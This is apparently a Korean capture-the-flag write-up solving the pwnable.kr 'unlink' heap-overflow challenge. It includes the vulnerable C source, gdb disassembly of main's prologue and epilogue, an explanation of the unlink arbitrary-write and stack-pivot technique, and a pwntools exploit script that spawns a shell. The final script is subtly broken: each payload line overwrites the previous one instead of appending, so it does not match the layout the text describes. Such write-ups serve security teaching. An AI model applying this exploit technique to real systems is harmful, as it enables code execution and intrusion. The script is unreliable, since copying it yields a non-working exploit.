# source code
// unlink@pwnable:~$ cat unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
# unlink
malloc을 통해 할당한 힙 메모리들을 free 하면 별도 리스트에 힙 공간들이 추가된다. 이 리스트(해제 되었던 메모리 리스트)에 추가되었던 공간이 다시 할당될 경우 unlink(리스트에서 해당 메모리를 제거) 과정을 거치는데, * 힙 버퍼 오버 플로우에 의해 linking 되어있던 주소들이 변조되면 해커가 원하는 메모리 공간에 원하는 값을 쓸 수 있게 된다.
* https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
# analysis stub code of main with stack
unlink@pwnable:~$ gdb -q unlink
Reading symbols from unlink...(no debugging symbols found)...done.
(gdb) b *main
Breakpoint 1 at 0x804852f
(gdb) run
Starting program: /home/unlink/unlink
Breakpoint 1, 0x0804852f in main ()
(gdb) info reg esp
esp 0xff82813c 0xff82813c
(gdb) x/1x 0xff82813c
0xff82813c: 0xf7571637
(gdb) info reg ebp
ebp 0x0 0x0
main 함수의 첫번째 줄에 브레이크 포인트를 걸고 실행시켰으므로, 현재 esp는 main을 호출한 __libc_main_start로 돌아가는 복귀 주소를 담고 있다.
메모리 상태를 머릿속으로 그리기 너무 힘들어서 엑셀을 이용했다. esp가 저장하고 있는 0xff82813c에는 0xf7571637라는 값이 들어있다.
(gdb) disass main
Dump of assembler code for function main:
=> 0x0804852f <+0>: lea 0x4(%esp),%ecx
0x08048533 <+4>: and $0xfffffff0,%esp
0x08048536 <+7>: pushl -0x4(%ecx)
0x08048539 <+10>: push %ebp
0x0804853a <+11>: mov %esp,%ebp
0x0804853c <+13>: push %ecx
0x0804853d <+14>: sub $0x14,%esp
이제 main의 stub 코드를 한줄씩 실행하며 스택의 변화를 살펴본다.
lea 0x4(%esp), %ecx 실행 후.
and $0xfffffff0,%esp 실행 후. esp 값을 16의 배수로 만드는 작업이다.
pushl -0x4(%ecx) 실행 후. ecx가 가리키는 값(0xff828140)에서 4를 뺀 후(0xff82813c), 그에 해당하는 메모리 위치에 있는 값(0x7571637)을 가져와 스택에 push한다.
push %ebp 실행 후. ebp 백업.
mov %esp,%ebp 실행 후. ebp를 갱신하는 작업.
push %ecx 실행 후.
sub %0x14, %esp 실행 후. main 함수에서 사용할 스택을 확보하는 작업이다.
# find A, B, C address
main 함수 초중반 부분을 보면 malloc을 4번 호출하는 걸 볼 수 있다. 첫번째 malloc은 1024바이트를 할당받는 코드고, 뒤 3번의 malloc 호출이 OBJ 구조체 할당을 위한 것이라 볼 수 있다.
0x08048550 <+33>: sub $0xc,%esp
0x08048553 <+36>: push $0x10
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add $0x10,%esp
0x0804855d <+46>: mov %eax,-0x14(%ebp)
0x08048560 <+49>: sub $0xc,%esp
0x08048563 <+52>: push $0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add $0x10,%esp
0x0804856d <+62>: mov %eax,-0xc(%ebp)
0x08048570 <+65>: sub $0xc,%esp
0x08048573 <+68>: push $0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add $0x10,%esp
0x0804857d <+78>: mov %eax,-0x10(%ebp)
각각 malloc을 호출하기 전에 스택에 0x10을 push하는 걸 볼 수 있다(밑 줄). sizeof(OBJ)의 값이 16이기 때문이다. malloc을 호출한 후 eax 레지스터 값을 스택에 옮기는 걸 볼 수 있으며(붉은 글씨) 이들이 각각 OBJ 타입 변수 A, B, C이다.
malloc을 모두 호출한 후에 스택은 위와 같이 된다. 특이한 점은 선언한 순서대로 A, B, C가 아니라 A, C, B 순으로 메모리 상에 배치된다는 점이다. 하지만 힙 메모리는 호출한 순서대로 A, B, C 순서로 할당되었다. 그런데 A, B, C 간의 거리가 16(0x10)이 아닌 24(0x18)이다.
덤으로 ebp는 A로부터 +20 바이트에 위치해있다.
# heap struct
*힙 메모리를 할당 받으면 malloc으로 넘긴 값 만큼의 빈공간을 힙에서 찾는 게 아니라 넘긴 값 + 8바이트의 공간을 찾는다. 만약 malloc에 16을 인자로 주었다면 힙에선 16+8=24바이트 공간이 있는지를 찾고 그 공간을 반환한다.
* https://nightohl.tistory.com/entry/힙Heap-구조
위에서 할당받은 힙 메모리 구조를 살펴보면 위 그림과 같다. OBJ 구조체 A, B, C가 힙 메모리 상에 연속된 공간에 존재하는 걸 볼 수 있다.
# find place exploited
int main(int argc, char* argv[]){
...
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
소스 코드를 보면 A->buf에 gets로 입력받는 걸 볼 수 있다. 주석에서도 알 수 있듯이 힙 오버플로우를 일으킬 수 있다.
B와 C 모두를 오염시킬 수 있다.
# analysis unlink function
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
unlink 함수를 전개해보면 아래와 같다.
void unlink(OBJ* B){
(B->fd)->bk = B->bk;
(B->bk)->fd = B->fd;
}
B의 fd가 가리키는 곳에서 +4바이트 위치에 B의 bk 값을 넣는다고 해석할 수 있다(첫번째 줄 코드만 보면).
만약 B->fd가 0x100이고, B->bk가 0x12345678이면, *(0x104) = 0x12345678로 해석된다는 것이다.
즉 B->fd에 내가 쓰길 원하는 메모리 주소 값 - 4를 넣고, B->bk에 쓰길 원하는 값을 넣으면 원하는 위치에 원하는 값을 넣을 수 있게 된다.
# try to solve first - (maybe) failed
(gdb) disass shell
Dump of assembler code for function shell:
0x080484eb <+0>: push %ebp
shell 함수의 주소는 0x080484eb이다. 우리가 쓰길 원하는 값이다. main 함수가 끝나고 돌아갈 때 복귀 주소를 shell 함수 주소로 바꾸기를 시도해봤다.
B->fd에 0xff828138 값을 넣고, B->bk에 0x080484eb를 넣으면 unlink 함수에서 0xff82813c에 0x080484eb를 넣게 되므로 복귀 주소가 저장되어 있는 0xff82813c의 값이 shell 함수의 시작 주소로 변하게 될 것이다.
void unlink(OBJ* B){
(B->fd)->bk = B->bk;
(B->bk)->fd = B->fd;
}
하지만 이 방법의 문제는 unlink 함수에서 B->bk에 B->fd 값을 집어넣는다는 점이다. B->bk는 shell 함수의 시작 주소인 0x080484eb를 가지고 있는데, unlink 2번째 줄 코드에 의해 0x080484eb 주소에 B->fd 값인 0xff828138이 덮어쓰여진다. shell 함수의 stub code 일부가 이상한 값으로 쓰여지거나, code 영역이라고 쓰기가 제한되어 죽을 것 같아 시도해보진 않았다.
# try to solve second - success
어떻게 해야하나 고민하던 중 본 문제 풀이를 작성한 *다른 블로그에서 힌트를 얻었다. shell 함수의 시작 주소를 어딘가에 저장한 후 shell 함수 주소로 ret 하게끔 만드는 것이다.
* https://koyo.kr/post/pwnable-kr-unlink/
(gdb) disass main
Dump of assembler code for function main:
...
0x080485fa <+203>: mov $0x0,%eax
0x080485ff <+208>: mov -0x4(%ebp),%ecx
0x08048602 <+211>: leave
0x08048603 <+212>: lea -0x4(%ecx),%esp
0x08048606 <+215>: ret
main의 마무리 코드를 한줄씩 분석해보자.
mov -0x4(%ebp), %ecx 실행 후. stub 코드에서 push 해놨던 ecx 값을 다시 복구한다.
leave 실행 후. leave 인스트럭션은 mov %ebp, %esp와 pop %ebp가 합쳐진 명령이다.
lea -0x4(%ecx), %esp 실행 후. ecx 레지스터에 들어있는 값에서 4를 뺀 후, 이를 esp에 넣는다. 이 작업을 거치면 esp는 main을 호출했던 __libc_main_start 함수로 돌아가는 복귀주소를 가리키게 된다.
ret 실행 후. esp가 가리키던 값을 pop하여 eip에 넣고 eip로 점프한다.
여기서 알 수 있는 건 mov -0x4(%ebp), %ecx를 통해 ecx에 주소 값을 넣고, lea -0x4(%ecx),%esp를 통해 ecx-4에 위치한 값을 esp에 넣는다는 점이다.
그렇다면 임의의 메모리 위치에 shell 함수 주소를 저장하고, ebp-4엔 임의 주소 - 4 값을 넣도록 하면, 임의 주소 - 4 값이 ecx에 들어가고, ecx - 4에 의해 esp 값은 shell 함수 주소가 저장된 임의의 메모리 위치 주소 값이 될 것이다. 이대로 ret를 하면 eip엔 shell 함수 주소가 들어가게 되므로 아무런 에러 없이 shell 함수로 점프할 수 있게 된다.
우리가 입력할 수 있는 공간은 A.buf 부터 메모리의 끝까지다. 방법을 순서대로 정리하면 다음과 같다.
(1) A.buf의 앞 4바이트엔 shell 함수 주소를 저장하고,
(2) B.fd까지 아무 값이나 채운 다음,
(3) B.fd엔 EBP-8의 주소값 (B->fd->bk 때문에 ebp-8+4 = ebp-4가 된다.)
(4) B.bk엔 shell 함수 주소를 저장한 메모리 위치의 + 4 (mov ecx-4, esp 때문에 4를 추가해준다.)
위 처럼 값을 넣었을 경우 어떻게 동작하는지 확인해보자.
A.buf[4]에 넣은 0x080484eb는 shell 함수의 주소.
B.fd에 넣은 0xff828120은 ebp-8 값
B.bk에 넣은 0x095b3424는 2번째 A.buf[4]의 주소다.
위 그림대로 값을 넣고 unlink 함수를 실행하면
// B->fd = 0xff828120
// B->bk = 0x095b3424
// (B->fd)->bk=B->bk;
*(0xff828120 + 4) = 0x095b3424
// (B->bk)->fd=B->fd;
*(0x095b3424) = 0xff828120
ebp-4 위치에 shell 함수의 주소가 저장된 0x095b3420의 +4 값이 들어가게 된다. 이제 main의 마무리 코드를 다시 따라가보자.
mov -0x4(%ebp),%ecx 실행 후. ecx 값이 두번째 A.buf[4]로 변했다.
leave 실행 후.
lea -0x4(%ecx), %esp 실행 후. ecx에 들어있던 0x095b3424 값에서 4를 뺀 0x095b3420이 esp에 들어가게 된다.
ret 실행 후. esp는 힙 영역으로 옮겨졌고, eip 값은 esp가 가리키던 shell 함수의 시작 주소로 변경됐다.
# solve script
# vi /var/tmp/wghwa.py
# how to run: /usr/bin/python /var/tmp/wghwa.py
from pwn import *
p = process('/home/unlink/unlink')
p.recvuntil(': ')
stack_A = int(p.recv(10), 16)
p.recvuntil(': ')
heap_A = int(p.recv(10), 16)
p.recv()
SHELL_FUNC = 0x080484eb
EBP = stack_A + 20 # ebp value
A_BUF = heap_A + 8 # A.buf pointer
payload = p32(SHELL_FUNC)
payload = 'A' * 12
payload = p32(EBP - 8)
payload = p32(A_BUF + 4)
p.sendline(payload)
p.interactive()
# solve